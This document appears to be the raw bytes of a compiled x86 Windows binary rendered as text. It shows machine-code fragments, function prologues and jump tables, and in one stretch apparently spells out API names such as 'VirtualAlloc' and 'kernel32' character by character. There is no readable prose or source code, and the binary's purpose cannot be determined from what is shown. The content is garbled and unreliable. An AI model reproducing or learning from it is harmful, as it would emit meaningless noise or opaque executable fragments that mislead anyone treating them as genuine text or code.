UB0MEE]UjhDdPQ"F3PEdMEPMEMMJtDMMJP t0EUQ: ;EtEUQ#  EUQJMAEEMd Y]UQMu M M{]UQMEVEM]UQMEPMQUREPM QUREMB ЋE]UjhDdP"F3ʼnEVPEdMԋM%@u4EPMQUREPM QUREԋMԋB$ЋEMQM"EUUEEPy$EEMTM\EMt%URMEċEPM MjV)lQMEURM l?VM'EU}|7}v/M MW;vMMV+uEEȉEЋMO%@t3MQUREPM QUREPPM UEMVPM1PEPM QUREP+PM UjjMqEPMQURE PMQURCEM1UEMd Y^M3T]UP"F3ʼnEMEPMaPhEMQUR>Pj@EPgPMQUREPMQU REPMQ) EM3Ր]UP"F3ʼnEMEPMPhEMQURPj@EPPMQUREPMQU REPMQ EM3U]UP"F3ʼnEME PMQM]PhEUREP:Pj@MQcPUREPMQURE PMQUR% EM3я]UP"F3ʼnEME PMQMPhEUREPPj@MQӛPUREPMQURE PMQUR EM3A]U"F3ʼnE`MTXX0| Tw%M% uDžhDžlMRhlh|lM}| |$v Dž\$ |\\pp|+ȋE‰|EDžxDžtMc%0= 6EYEf.EDEf/Ev Džd DžddMUtEfW EEx xEf/Er xsE^EEEf/Evit t}|R | rGEf/Er8ts,EYEE| E|EMtEfW EEE$pRMPjEP`Q>PjlURP|PtQxREPMQUREPM QUR`P1,EM3]]U"F3ʼnE`MTXX0| Tw%M7% uDžhDžlMrhlh|lM}| |$v Dž\$ |\\pp|+ȋE‰|EDžxDžtM%0= Ef/Ev Džd DžddMUtEfW EEx xEf/Er xsE^EEEf/Evit t}|R | rGEf/Er8ts,EYEE| E|EMtEfW EEE$pRM=PjLEP`QzPjlURCP|PtQxREPMQUREPM QUR`Pm,EM3虉]UH"F3ʼnEMEPhEj@MQPUREPMQURE PMQUR EM3/]UQMEMUQE]UQME]UQMMEt MQ苐E]UME;EuaMQMPURMPtMyrURM!jjMAMEPTPM,E]UQME@<]UjhDdPQSVW"F3PEdeMEEUQEEtUMMJEEt:MMJbEME܃}ujjEUQ8@EEMd Y_^[]UjhDdP"F3ʼnEPEdMEUQÓtaEPMEMDȅt0UMH荓ujjMMJmEM~EMd YM3肆]UE EM%UUE tM+UUEtM#UUE.MMU*EEMtUEMMU0UEtP} uEf.}0uEA}uEEEGMMUUEMUUN} uEf.}0uEa}uEeEgEEMMUEMMUE ]UjhfDdP"F3ʼnESPEd}0vE +t U -u EEMMM %0=0t EEGEEU;U0w5E E0u'U UBxtM MQXu EEMQkE P蹔Ef EfMnkk LkLQkE PlEhQMttdEdPEEh:j0M`EjM0QM EjM PU U0RkM QMBxRMllpEpQEEx謾URM0 EM EE$EM;M0u UUUEPM$QURM% cEEEMQU,REPM MQU(REPM Mu ؋MQM URE$PMQM jMv EUtYM~OEU+U;s?EU+щUEPjMQMm E ~ UU뜍MFE0M|U}|( |vM;E0vM+E0EEEEM%E}@ty}tpMQUREPMQDREPHPMUEEPjMU PMQUR\PMQ@UE}umMQjM PUREP4QURyPMUEPMQUREPLQURPMUE5EPjM PMQUREMr>E Md YM3z]UEEM?MM}vUPM?ȋM UEAE ]UEEM?}vMQM?pӋU EMJE ]UMEEPMMBЋMME]UMEEPMMBЋMME]UQMEVEMMp]UQME@ ]UQME@ ]UMEEHQMaE] UQMM<E]UMEPMEPMaMd Y]UQMEPM QUREMB$Ћ] UjhxDdPQ("F3ʼnESVWPEdeMEEPMKEMȅuU܃UEEUQxEEPM1E؋M؉MCEԍUREPȅt U܃UjjEUQh@EEjEPMMJ&jj `AJPjj `AJQRP `AJicP `AJMP `AJ,ȅu%Rjj `AJE %Qjj `AJ^ `AJ3tE `AJj `AJchp@hp@hp@=J誩裩蜩hp@hcEhp@=J胩PshcEhp@=J_Php@hcEhp@=J=P-hp@hdEhp@=JP~hp@hp@hp@=Jݨj `AJp `AJ `AJ襬u `AJ `AJj `AJ&hp@=Jwhp@hp@hp@h\dEh=JOHAhD `AJk<tShp@h dEk Qh@hdEh=JQ0P:hp@hdEh=J蠧<tShp@hdE Ph@hdEh=Jr諧P;hp@hdEh=Jዕ< t}t hp@heEh=JYߦPhp@h8eEዕ Ph@hWP `AJeusj `AJtjQE$ `AJ۫QRj `AJP `AJVP `AJ&elusj `AJetjQE$ `AJ_QRj `AJBP `AJFVP `AJdupj `AJtjQE$ `AJQRj `AJP `AJUP `AJ.dwunj `AJptjQE$ `AJjQRj `AJMP `AJQUP `AJcuM tjQ$ `AJ `AJu `AJ `AJîȅ `AJM `AJЅ  `AJ<*d `AJ軵 `AJ赸j `AJhp@h`gEhp@hp@hp@=J/(!PhD$D*XE\Z\ `AJSP `AJ'P `AJO)P `AJ(P `AJ6ЅuE jQ$j `AJ `AJ:'0 `AJ' `AJ'D `AJzȅDžDž;}\Q `AJ@ЅtAPDQ Q `AJj `AJuPhp@hp@hp@=JA:3hp@hgEhp@=JP ]Dž\\\\;}4\R\DP\P `AJ믋 `AJ&X `AJ&T `AJ.'d `AJ]ȅV `AJG%P `AJ+Php@hp@hp@=J,%jTRXPkPd P `AJjTQXRkPdTR `AJUjTPXQkPdLQ `AJ(jTRXPkPdD P `AJjTQXRkPdTR `AJjTPXQkPdLQ `AJjQE$j `AJ: `AJOЅ `AJYP `AJ (hp@hgEhp@=J虖P艖hp@hp@hp@=Jpib `AJ_ `AJPD `AJTj `AJ& `AJP `AJ+ȅhp@hgEhp@=JPRؕhp@hp@hp@=J迕踕豕 `AJ_ `AJ;PD `AJ Tj `AJuhp@=JhhR `AJ豼̉ P `AJVuhR `AJa뮋 `AJdMPPQE$jj `AJO `AJ?ƅ: `AJ讼$D*XETZTjjQ$jP `AJ贪QR `AJ誄j `AJhp@hp@hp@=Jߓؓѓhp@hgEhp@=J踓P"訓hp@hp@hp@=J菓舓聓j `AJjjQ$ `AJKPQ `AJ迩 `AJP `AJWЅuE tUuJ `AJLP `AJP `AJu jhgE `AJQM Oj `AJFhp@hhEhp@hp@hp@=J胒|uP߼ehD$D*XELZL `AJtR `AJKP `AJP `AJ P `AJKP `AJ-ȅuU V D `AJJP `AJP `AJP `AJ+uM  jQ$j `AJ j `AJhp@h8hEhp@=J"P茻hD$D*XEDZDDž `AJIP `AJP `AJFP `AJP `AJn0ȅuU  jQ$j `AJj `AJ `AJ$ `AJV `AJp `AJDƅDžDžRPQ `AJHHH9H}4HRHDPHP `AJ묋 `AJȅuƅhp@hp@hp@=J *R `AJ,,Q `AJ5Ѕ `AJY `AJ(ƅ;F:#P `AJTȅuU  tJ `AJ+GP `AJP `AJ#ȅu jh\hE `AJzU x P `AJYUR `AJ `AJP `AJEP `AJP `AJ `AJ[H `AJ' `AJЅt `AJu `AJT `AJ^ЅuE  `AJ,Q `AJEUj `AJeuqhp@hthEhp@=J裌P 蓌hp@Rh@hhEhp@=JkPն{;M7hp@PhhEhp@=J+P蕶;Q `AJ,,R `AJJTt2 `AJȅu jhhE `AJ@U > `AJ,Lj `AJhhEh=Jеj `AJhp@LPhhEh@=JPP蚵耋j `AJhhEhp@=JPbj `AJhp@ `AJ"CPhiEh@=J݊P' 覊LQ `AJwЅt\j `AJ hiEhp@=JlPִj `AJhp@ `AJFPh=J諴1 `AJf$ `AJȅjj `AJ `AJ `AJJt `AJLRP `AJBP `AJAP `AJ`ȅtjj `AJjj `AJ}U fhp@hiEhp@hp@=J?8P袳(LP `AJfȅt `AJ `AJ `AJhp@h8iEhp@hp@=Jƈ迈P)诈 `AJAPLR `AJ@P `AJht `AJ `AJM j `AJhp@hliEhp@hp@=J-&P萲 `AJ `AJ `AJ `AJ `AJ1̉0P~ `AJ}rjjt% `AJaP `AJ5P `AJ `AJjjj `AJDžth@, E t#h@ > c DžEttu `AJ~U lLP `AJ0PtR~Qjj `AJRjj `AJtQH+u DžDžt#tDžtjQE$j `AJS `AJh `AJrP `AJ&ȅhp@hiEhp@=J貅P袅hp@hp@hp@=J艅肅{ `AJN `AJPD `AJs `AJ蘾 `AJCj `AJм) `AJ諿P `AJЅhp@hiEhp@=JPUۄhp@hp@hp@=J„軄贄 `AJ N `AJ>PD `AJ `AJѽ `AJBj `AJ bjjxDMd YM3q!]UjhNDdP`u"F3ʼnEVPEdE`AJ \AJu/UKtE uMKu `AJBЅt~hPDž0ƅDž<<}t }rhQ `AJlIURhPl1 ̉R `AJ/ `AJ:P訩.' j `AJ賶EPL.jjxD$DL*LLXEZ\^E^Ej `AJhp@hjEQ$jjRb Ph jEhp@=J(~P蒨P1o/Py}hp@h$jEhp@hp@hp@=J}}}P8}hD$DD*DDXEZ `AJڸȅte `AJH P `AJ P `AJ P `AJЅtjQ$j `AJ`EPG,W `AJ P `AJW P `AJK ȅtjQ$j `AJUP+ `AJ +jQE$j `AJEP+ `AJ `AJ, `AJ衸 `AJָ `AJK `AJj `AJ賳 `AJP `AJ P `AJP `AJP `AJ1ȅu j hHjE `AJOUP*EJu MK `AJҹ `AJd `AJ譹t7 `AJ螹uH⋅d<ukd<t! `AJgƅEIhD `AJFuHዕd< t5kd< t! `AJƅEIhDt"MKu `AJiЅtEIE%hPƅ} `AJ `AJa[ȅj URDžj PMQ `AJ薂u <(JUu'JEu $JMu !JUu'JEu x)JMu !JU GB!JPMQ ƅE(hR}D~)}Ds EDPM@QhR;"}Dt }DrEKt `AJhQ `AJ\ƅUIRPhh $J `AJu%j h\jE `AJ2Eƅg<(JREPtu 'JQURt^$JPMQtH!JREP~t1 'JQURgtx)JPMQQƅE(DžDžDžDž<(JREPu#DžDž 'JDž 'JQURu#DžDž$JDž7$JPMQu#DžDž"JDžK'JREPVu DžDž)JDžu !JQURu%DžDž!JDž 9x)JPMQu#DžDž%JDžhR}4~K}4sBPQU0R `AJtM4QU0RhPjƅQRhP `AJa[u-RPhQ `AJ+[3f}<}<~ `AJE<Džj EPMUIRE$Pj `AJGP `AJKP `AJ+hp@hp@hp@jQhp@=JcPZPcccU$tjQE$ `AJqj `AJ{EIPM$Qj `AJP `AJP `AJ*hp@hp@hp@jRhp@=J-cP藍cccE$tjQE$ `AJpj `AJ踡MIQU$Rj `AJP `AJP `AJ)*Dhp@hp@hp@jPhp@=JjbPԌSbLbEbM$tjQE$ `AJ"pj `AJUIRE$Pj `AJP `AJP `AJf)hp@hp@hp@jQhp@=JaPaaaU$tjQE$ `AJ_oj `AJ2EIPM$Qj `AJ;P `AJ?P `AJ(hp@hp@hp@jRhp@=J`PND```E$tjQE$ `AJnj `AJoMIQU$Rj `AJxP `AJ|P `AJ'uMPU$tjQ$ `AJnE# `AJ臜 `AJ輜ƅM7$D,*,,XEZjjQ$jP `AJuMIQR `AJOj `AJЖhp@hp@hp@=J__ _hp@hLnEhp@=J^PZ^hp@hp@hp@=J^^^j `AJLMP jjQ$ `AJPR `AJt `AJP `AJ"uMP UItRE&uJ `AJ2P `AJP `AJ*ȅu jhnE `AJ聠UP* j `AJvhp@hnEhp@hp@hp@=J]]]P]hD$D$*$$XEZ `AJ豘ȅtR `AJ?P `AJP `AJP `AJ{P `AJЅuEP1 D `AJP `AJP `AJ5P `AJȅuUP jQ$j `AJ׬E& j `AJhp@hoEhp@=JU\P迆E\hD$DH*HHXEZDž `AJP `AJP `AJyP `AJ-P `AJЅuEP jQ$j `AJϫj `AJ `AJW `AJI|7kd_+򉵄U&P `AJȅ| `AJv `AJEpƅ;/p9 R `AJ uMP UItJ `AJJP `AJ.P `AJBu jh$oE `AJ虜MPB R `AJx!pQ `AJ `AJP `AJP `AJP `AJ% `AJzP `AJFE"tM#u `AJ+!pp `AJJ*uMP|R `AJ!llj `AJ裐luqhp@ht% `AJ趒P `AJ芒P `AJ `AJ!jjj `AJPDžh@ XEXt#h@XMX( Dž(( E u `AJEPlQ `AJP\\~\Rjj `AJr\Pjj `AJZ@@R@u Dž Dž# DžjQE$j `AJ訢 `AJ轍ȅ `AJnjP `AJ{Ѕhp@hLpEhp@=JRPq|Qhp@hp@hp@=JQQQ `AJ% `AJZPD `AJȍ `AJ `AJj `AJ% `AJP `AJDhp@hdpEhp@=J@QP{0Qhp@hp@hp@=JQQ Q `AJ^ `AJ蓎PD `AJ `AJ& `AJKj `AJ^WjjxDMd Y^M3]UjhDdPQT"F3ʼnESVWPEdeMEEPMXEMNȅ:UREUQ[4EEEEMQ}EEM(UMHC3%Eԁ}t}tMMUŰẺEE}u EMEBEЋMMJUEߋEUQ_EEPMQUREPMccHQREPMPEċMecȅt U؃UjjEUQL2wAEEjEPMMJLEEEMWEMd Y_^[M3]UjhDdPQH"F3ʼnESVWPEdeMEEPMVEMLȅUREUQk2EEEEMQ{EEM&E}u EUMHMԋUMH"TEߋMMJEZE$EPMQURMaHQREPME̋Maȅt U؃UjjEUQDKxAEEjEPMMJKEEEM#VEȋMd Y_^[M3$]UQMEPMQUREPM QUREMB$ЋE]UQME$EPMQURE PMQUMPҋE]UQ}u EEUQUE H QPREPM ҃ E]UQME]UQME]UQME]UQME]UQME` ]UQMEd ]UQMEǀl jMQM辂Ul ]UQMM聍jhƅ?ƅ@0ƅAƅBƅChƅDƅEƅFƅGƅHjƅIƅJƅKƅLƅMƅNƅOƅPƅQƅRƅSƅTƅU^ƅVƅWƅXƅYƅZƅ[ƅ\ƅ]ƅ^ƅ_ƅ`ƅaƅbƅcƅdƅeƅfƅ jƅ @ƅhƅƅ0ƅƅƅhƅƅƅƅƅjƅƅjƅƅƅƅƅƅ ƅ!ƅ"ƅ#ƅ$ƅ%ƅ&ƅ'^ƅ(ƅ)ƅ*ƅ+ƅ,ƅ-ƅ.ƅ/ƅ0ƅ1ƅ2ƅ3ƅ4ƅ5ƅ6ƅ7ƅ8EhEEEEEjE@EEEEEEQEEEEEE[EEEEEEESEEEEEEEhEEEEEjE@EEEEEEQEEEEEE[EˁEEEEEESEjEEEEֿE׿EؿEٿƅtjƅuƅvƅwƅxƅyƅzƅ{Sƅ|hƅ}ƅ~ƅƅƅƅƅƅƅƅƅSƅjƅƅPƅƅƅƅƅƅƅƅƅƅƅƅƅƅ^ƅƅƅ ƅƅƅƅƅƅƅƅƅƅhhƅiƅjƅkƅlƅmƅnƅoƅpƅqƅrƅsjƅtƅuhƅvlƅwlƅxoƅycƅzhƅ{uƅ|aƅ}lƅ~AƅhEVEiErEtETEPEEEEEEEEEEjE@EhEE0EEEhEEEEEjEEEEEEEEE^EEEEEEEEEEEEEEEEEƅjƅƅhƅ3ƅƅ2ƅƅhƅeƅƅlƅƅhƅrƅƅnƅƅhƅkƅƅeƅƅTƅƅƅƅƅƅƅƅƅƅjƅƅhƅlƅlƅoƅcƅhƅuƅaƅlƅAƅhƅVƅiƅrƅtƅTƅPƅƅƅƅƅƅƅƅƅƅjƅ@ƅhƅƅ0ƅƅƅhƅƅƅƅƅjƅƅƅƅƅƅƅƅƅ^ƅƅƅƅƅƅƅƅƅƅƅƅƅƅƅƅ ƅ ƅƅ?ƅ@ƅAƅBƅCSƅDjƅEƅFjƅG@ƅHjƅIƅJjƅKƅLƅMƅNƅOƅPƅQƅRSƅSjƅTƅUjƅVƅWjƅX"ƅYPƅZƅ[ƅ\ƅ]ƅ^ƅ_ƅ`ƅaƅbƅcƅdƅeƅfƅg^ƅhƅiƅj ƅkƅlƅmƅnƅoƅpƅqƅrƅsDž4Ep$U ( EE3ҹUU0 teE0 ;MtWjUREPM QU4 PMM U EЃEЋMMUǂ0 E +MMU MU M U+‹M MU M ^M3u] +AAA=AAAeAAAANAAAA@AUQMEǀ M EM E M E MtU MU MU M U M U ] UMEEEǀ EEMM#E( ME3ҹUUU}wME$lAMtE3E-E3'UtE E+EtsE#MU ( EE3ҹUUU}wEE$AE M;MtE(&EEE5EE=EEEU MUE U E U E UE M E M E MU ( EE3uUMMMU MUE U E U E ]AAAAA A\AqA{AAAUMEǀ MU ( E} u  }uEE3ҹuE3ҹME( ME3ҹUEEMnE( ME3ҹUUU}w,E$TAEEE1E) E E!M U ( EE3ҹUUU}w&E$lAE EE5 E=EM EM U M U M U MUE U E U MLM( UE3uUEEEM EM U M U M U q3fEMU ( EE3ҹUUU}wJE$AfM5fU*5fE-fM fU %fEM EfMf U M U M M#E( ME3uUUUUE UE M E M E MU ( EM EM U M U M U ]AAAAAAAAAAA#A.A9ADAOAZAU"F3ʼnEVMEDždh*E@ P%MMCM쉁< UE@ MǁD ǁH EU샺 } Eǀ hM$EEMCẼ}u ZUjhM<Eԃ}u 83Mǁ EEUǂ Eǀ Mǁ EEEEEM^M>uЋUЉUMKEȋEȉEEEMܽENjMƁ% UƂ$ M蝽EE;EsMȉM}UU+EE}r-}w$MMUUUЋEEȋMƁ% R}vIUUUЋEM+ȉMUUȋEƀ% MƁ$ UEЍLMUUEǀ0 E MMM؋U;U /EE؋M쉁@ EؙM쉁D H U@ RE싈< щEUREEPMQUE P~tMM;M |AUu9EEEEEuUE싈 UU=u4EEEM$ tEEMMEqlUU=|Et5M5t,U-t#E tM%tE)$Uu\itAEjUREM QMU싂 M쉁 4/UtMEtDM1t;U t2E)t)M!t UtE=ulMucitHUUpEpQUREPMQUE PMOJxsMuUu ^YEPMU EE++URUREM QgU@|REOIEM@|UG EE MMjURjEM QgUuiE=|^MREU|E= MM UUjEPjM싑 E̍LQ gUu8E=|-M!E+jURjEM QfU+u8E=|-M!EjURjEM QfUuBE=|7M+U(UjEPjM싑 E̍LQPfUuBE=|7M+U(UjEPjM싑 E̍LQfU싂 EM쉁 }t UUUEEMMUUEEMM3UEEP}tDMԉ||Rmd|u DžhE#EԉhEC}t;MԉMUR%d}u DžlE#EԉlE2^M3T\]ZAAA[AA1AAA;AAA5AAAzAABBBUQME]UQME]UQME]UQME]UQME]UQME]UQME]UQME]UQME]UQME| ]UQMM1Eǀ(E]U MEǀ(cˆUE UUE;E}$DM(U(ՋE(s$DM(U(׋]U,VMMJMMuMmMu܋MfpEE;Ev*MCM+ȉM؋M3JMuƉEMEEE UUE;E sHMM9uUUE( UUEE8uMMUEEEjM MQMAE}ujhrEM92U REPM QURdaEPMQUREE PIaMMUR$`}u E E#EEԋMQM&U URM%E EPM%M QM,UUEE^]U"F3ʼnEM`fEEjM QM,E}ujhrEM$2jURjEPS`M QURE PMQ8`UUEP_}u E E#MMURM$E PM$MrPM+M+PMrM3 W]UjhDdP|"F3ʼnEVPEdcP7EDž̉xP识|eu$ƅEpu$ƅEjjjRMX t0EQM(ЅuMEƀY Q MƁY B MEMUtzE=toMU;h u M-ȅuUƂY 6EX t(UPM)ȅuUƂY EZ UE;h u2UPM'ȅuMUƂY S>EX t0UPMD'ȅuMEUƂY hEQU PDMU PM8E}ijMQUPMC!ȅu&U PhsEMMƁY sUE ;UE ;UƂ[ EPMQURM2PE QME}t}uUƂY }E MUT ET QM1E}uXMЅuIET QUPMMȅu&U PhsEMMƁY ]M1;E UZ MU;h u2MRM'%uM(MƁY >UX t0MRM$uMMƁY UƂY MbEMwE=t{MtoUE;h u M*ЅuEƀY K6MX t(EQM%ЅuEƀY MZ EM;h u2EQM#ЅuMEƀY >MX t0EQM#ЅuMEƀY xhMRE QDUEdtuTM]MU;h u M(ȅuUƂY 6EX t(UPM$ȅuUƂY hEQU PD-MEMQM-Ѕu M MthEQU PDMUEdtuTM,MU;h u M'ȅuUƂY 6EX t(UPMX#ȅuUƂY hEQU PDhMRE QDhUPM RDM-~UX t0MRMuMMƁY cM#;E |UƂY GhEQU PDMU PMj E܃}jMQUPMuȅu&U PhtEM7MƁY UE ;UE ;UƂ[ jEPMQURM"PE QMeE}UƂY ,}E MUT ET QMg E܃}uXMЅuIET QUPM ȅu&U Ph(tEM%MƁY M.";E UZ MU;h u2MRM]uM^MƁY .>UX t0MRMuMMƁY UƂY YjEPMQURMh!PE QME} u$hUPM RD3M=EMRE=t{MtoUE;h u MЅuEƀY (6MX t(EQMЅuEƀY MZ EM;h u2EQMЅuMEƀY >MX t0EQMЅuMEƀY UhMRE QDUEdtuTM8MU;h u MȅuUƂY 6EX t(UPMdȅuUƂY hEQU PD(EhMRE QDUdtuTMREM;h u MuMƁY 6UX t(MRM~uMƁY hUPM RD2~hEQU PDMRDJhEQU PD&M~MP t2U@ EMQUǂ@ EǀP MD t%UD EMQUǂD EH t%MH UEPMǁH ]UQMET]UQMEY ]Ujh7DdP"F3ʼnEVPEdhuEEh vEtECEMlpMTM/XXDHp;H;|l;D'MЅp lhcYECjjdpPlQȋXRPVQ\`j jR`P\Qk$REP tQo R] hvEm hvE] j PTQ R(#LLPK(@QhR=s`Džhhh9hs#hQh뻍QM8j DEMlpMtThsYEAjjdpRlP ȋXRPVQ\`j jR`P\Qs"REPtQwReh8vEuhEM|DžxDžDžt\AJt Džt<Mȅ'|xu $DxhYE>hYEERhpvEj P|Q RddPQT$D+x3ҹ񉅀;trM3hvE3j PQ RHhhP!HQhvEhRS=s`Dž9s#Q辔뻍QMj DEWMO|hYEFPp.Fhp@h؊Ehp@=JFPpFh8Ehp@=JEP[phEhp@=JEP>php@hEhp@=JEPpEjM8}hp@hȋEhp@=JEPooEj M}hEhp@=JQEPohp@h8Ehp@=J/EPoEhpEhp@=J EPuohp@hEhp@=JDPSoDjMo|hp@hEhp@=JDP oDj M<|hp@h0Ehp@=JDPnsDhXEhp@=J_DPnhEhp@=JBDPnh Ehp@=J%DPnhp@hEhp@=JDPmnCh@Ehp@=JCPInhp@hp@hEhp@=JCP"nCCj M7{hp@hEhp@=J~CPmnCjM{hp@hEhp@=JKCPm;Chp@h؏Ehp@=J"CPmCh Ehp@=JBPhmhp@hlEhp@=JBPFmBhEhp@=JBP"mhp@h Ehp@=JBPmBjMzhEhp@=JhBPlhp@hEhp@=JFBPl6BhȑEhp@=J"BPlhp@hhEhp@=JBPjlAhEhp@=JAPFlhp@hp@hp@hEhp@=JAPlAAA]UQMj MyhLEhp@=J[APk>Jx= kPAjj>JH>J>jMx]UMj MxEdEEPhp@=J@P=kD kPjj>JH>JK>j MQ kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThMT jMKwhp@hEhp@=J?Pi?hp@hp@hp@hxEhp@=J_?PiO?H?A?j Mvj Mvhp@hEhp@=J?Pyi>hp@hEhp@=J>PPi>j Mlvhp@hp@hp@=J>>>EPhp@=J>Ph kPjj>JH>J JH>J+;j MQ͑ kPjUR kUD At?kELat*kMTMtkUD muUD  kELHtkMThbMT IjM+thp@hEhp@=JrJH>J$8j MQƎ kPjUR kUD MtkELmu2]UQMj MqhlEhp@=J9PEdE PMQ%< kPjj>JJ>JB7E 3QPUR>J]UQMj Mphp@hp@hp@h0Ehp@=J<9Pc,9%99j Mp]UQMj Mphp@hp@hhEhp@=J8PKc88jM`php@hEhp@=J8Pc8hp@hEhp@=J~8Pbn8hp@hdEhp@=JU8PbE8hp@hp@h(Ehp@=J'8Pb88jMohhEhp@=J7P\bjMohp@hp@hp@hpEh=J1b777j M?o]UQMj Mohp@hp@hp@hEEPhEhp@=JS7PaPaPa17*7#7j Mn]UMj MnEE}t}hp@hEhp@=J6P3a6hEhp@=J6Pahp@hp@h@Ehp@=J~6P`n6g65hp@hp@hpEhp@=JG6P`7606jMmhp@hp@hp@hEhp@=J6Pm`555j M{m]UQMEPM\mhLEhp@=J5P`hEhp@=J5P_hp@h Ehp@=Ji5P_Y5M QMlhDEhp@=J85P_hPEhp@=J5P_h\Ehp@=J4Ph_hp@hhEhp@=J4PF_4URM_lhp@htEhp@=J4P_4hEhp@=J4P^hp@hИEhp@=J`4P^P4hp@hEhp@=J74P^'4h(Ehp@=J4P}^hp@hxEhp@=J3P[^3hEhp@=J3P7^hEhp@=J3P^hEhp@=J3P]hXEhp@=Jv3P]hEhp@=JY3P]h(Ehp@=J<3P]hEhp@=J3P]hEhp@=J3Pl]hp@hp@hp@hԚEhp@=J2P@]222j MNj] UQMj M/jhp@hp@hEhp@=Jq2P\a2Z2jjj M|j Mi]UQMj Mi}h0Ehp@=J2Pk\hp@htEhp@=J1PI\1hEhp@=J1P%\hp@hܛEhp@=J1P\1hp@hp@htEhp@=Jk1P[[1T15hp@hp@hEhp@=J41P[$11jjj M?j Mh]UMj M}hE(EEPhp@=J0P-[4 kPjj>JH>J;.j MQ݄ kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThMT jM;ghXEhp@=J/PYhp@hEhp@=Je/PYU/hp@hp@hp@hEhp@=J2/PY"///j Mfj Mfhp@h,Ehp@=J.PLY.hp@h̝Ehp@=J.P#Y.j M?fhp@hp@hp@=J..x.EPhp@=Je.PX kPUjj>JH>J+j MQ kPjUR kUD YtkELyuj Mbe2]U"F3ʼnEMj M3eEJH>J*j MQ蓁jj UR>J;EjjEPMԉeQ覍EM蛻EE-j Mrdhp@hXEhp@=J,P#W,hp@hhEhp@=J,PV,hp@hpEhp@=Jg,PVW,j Mchp@hp@hp@=J4,-,&,MQhp@=J,P}V kPjj>JJ>J)j EP,jj MQ>JԵEM3]UMj McEEEPhp@=Jc+PU kPSjj>JH>J(j MQ} kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  <kELHtkMThMT jMahp@hEhp@=J"*PT*hEhp@=J)PhThp@h Ehp@=J)PFT)hTEhp@=J)P"Thp@hp@hp@hEhp@=J)PS|)u)n)j Maj M`hp@hEhp@=J<)PS,)hp@hEhp@=J)P}S)j M`hp@hp@hp@=J(((EPhp@=J(P)S0 kPjj>JH>J7&j MQ| kPjUR WkUD YtkELyu2]UMj M_EԟEEPhp@=J'PMRT kPjj>JH>J[%j MQ{ kPjUR kUD YkELykMTNkUD nkELHtkMThuoMT uZjMl^hp@hp@hp@hEhp@=J&PQ&&&j M!^j M^hp@hTEhp@=JY&PPI&hp@hdEhp@=J0&PP &j M]hp@hp@hp@=J%%%EPhp@=J%PFPM kPjj>JH>JT#j MQy kPjUR kUD YtkELyu2]UMj M\ExEEPhp@=J%PmOt kPjj>JH>J{"j MQy4 kPjUR* kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThMT jM{[hp@hEhp@=J#P,N#hp@hp@hp@hԠEhp@=J#PM#x#q#j M[j MZhp@h Ehp@=J?#PM/#hp@hEhp@=J#PM#j MZhp@hp@hp@=J"""EPhp@=J"P,M3 kPjj>JH>J: j MQv kPjUR kUD YtkELyu2]UMj MYE0EEPhp@=J!PMLT kPjj>JH>J[j MQu kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThMT jM[Xhp@hTEhp@=J P K hp@hp@hp@htEhp@=Jo PJ_ X Q j MWj MWhp@hEhp@=J PJ hp@hEhp@=JP`Jj M|Whp@hp@hp@=JEPhp@=JP J kPjj>JH>Jj MQs kPjUR kUD YtkELyu2]UMj M}VEȡEEPhp@=JP-I4 kPjj>JH>J;j MQr kPjUR kUD Lt?kELlt*kMTCtkUD cuUD  kELHtkMThuoMT uZjMCUhp@hp@hp@hEhp@=JPGpibj MTj MThp@h(Ehp@=J0PG hp@h8Ehp@=JPqGj MThp@hp@hp@=JEPhp@=JPG$ kPjj>JH>J+j MQp kPjUR kUD LtkELlu2]U MEEhj MShLEhp@=JPCFh`Ehp@=JP&Fhp@htEhp@=JPFj M ShEhp@=JlPE kP\jj>JH>JM QURoE 3QPUR>J/EEMMUEE}uM+MMU;U sAEEMMUEE}uM+MMtEhp@=JMtZ]UQM}j MRhEhp@=JQPDhEhp@=J4PDhp@hp@h̢Ehp@=J PwDj MQ}j MxQhEhp@=JP.DhEhp@=JPDhp@hp@h(Ehp@=JPCpij MP}j MPhHEhp@=J7PChhEhp@=JPChp@hp@hEhp@=JP]Cj MrP}j M^PhEhp@=JPChEhp@=JPBhp@hp@hأEhp@=JfPBVOj MOhEh=JBE PMQl kPjj>JJ>JE 3QPUR>JEMQUREPMq]U$"F3ʼnEM} uyj M-OhEhp@=JyPAhEhp@=J\PAhp@h4Ehp@=J:PA*j MN}} uwj MNhPEhp@=JPdAhdEhp@=JPGAhp@hxEhp@=JP%Aj MANhEhp@=JP@ kP}jj>JH>Jj MQjjj UR>JUEhjEP̉eURvE܋M跤EEu_j MMhp@hp@hEhp@hp@=JP2@j MGMojMQjURchp@hp@=JunM3萲]UQMj MLhԤEhp@=J+P?蜿 kPjj>JH>JM QURFiE 3QPUR>J]UQMj MOLhp@hp@hp@hEhp@=JP>|unj ML]UQMj MKh Ehp@=J;P>謾 kP+jj>JH>JM QURVhE 3QPUR>J]UMj M]KEHEEPhp@=JP > kP蓿jj>JH>Jj MQgԽ kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThuoMT uZjM#Jhp@hp@hp@h|Ehp@=J`P<PIBj MIj MIhp@hEhp@=JPz<hp@hĥEhp@=JPQ<j MmIhp@hp@hp@=JEPhp@=JP; kP能jj>JH>J j MQeĻ kPjUR kUD YtkELyu2]UMj M}HEإEEPhp@=JP-;4 kP購jj>JH>J;j MQd kPjUR kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThMT jM;GhEhp@=JP9h@Ehp@=JjP9hp@hp@hp@hxEhp@=J>P9.' j MFj MFhp@hEhp@=JPX9hp@hȦEhp@=JP/9j MKFhp@hp@hp@=JEPhp@=JqP8 kPajj>JH>J j MQb袸 kPjUR蘾 kUD YtkELyu2]UMj MMEEܦEEPhp@=J P7 kP胹jj>JH>J j MQaķ kPjUR躽 kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThuoMT uZjMDhp@hp@hp@hEhp@=JP P6@ 9 2 j MCj MChp@hDEhp@=J Pj6 hp@hTEhp@=J PA6 j M]Chp@hp@hp@=J EPhp@=J P5 kPsjj>JH>Jj MQ_贵 kPjUR誻 kUD YtkELyu2]UMj MmBEhEEPhp@=J P5$ kP裶jj>JH>J+j MQ^ kPjURں kUD Yt?kELyt*kMTNtkUD nuUD  kELHtkMThu}MT uhjM3Ahp@hp@hp@hEhp@=Jp P3` Y R jjj Mtj M@j M@hp@hЧEhp@=J P|3 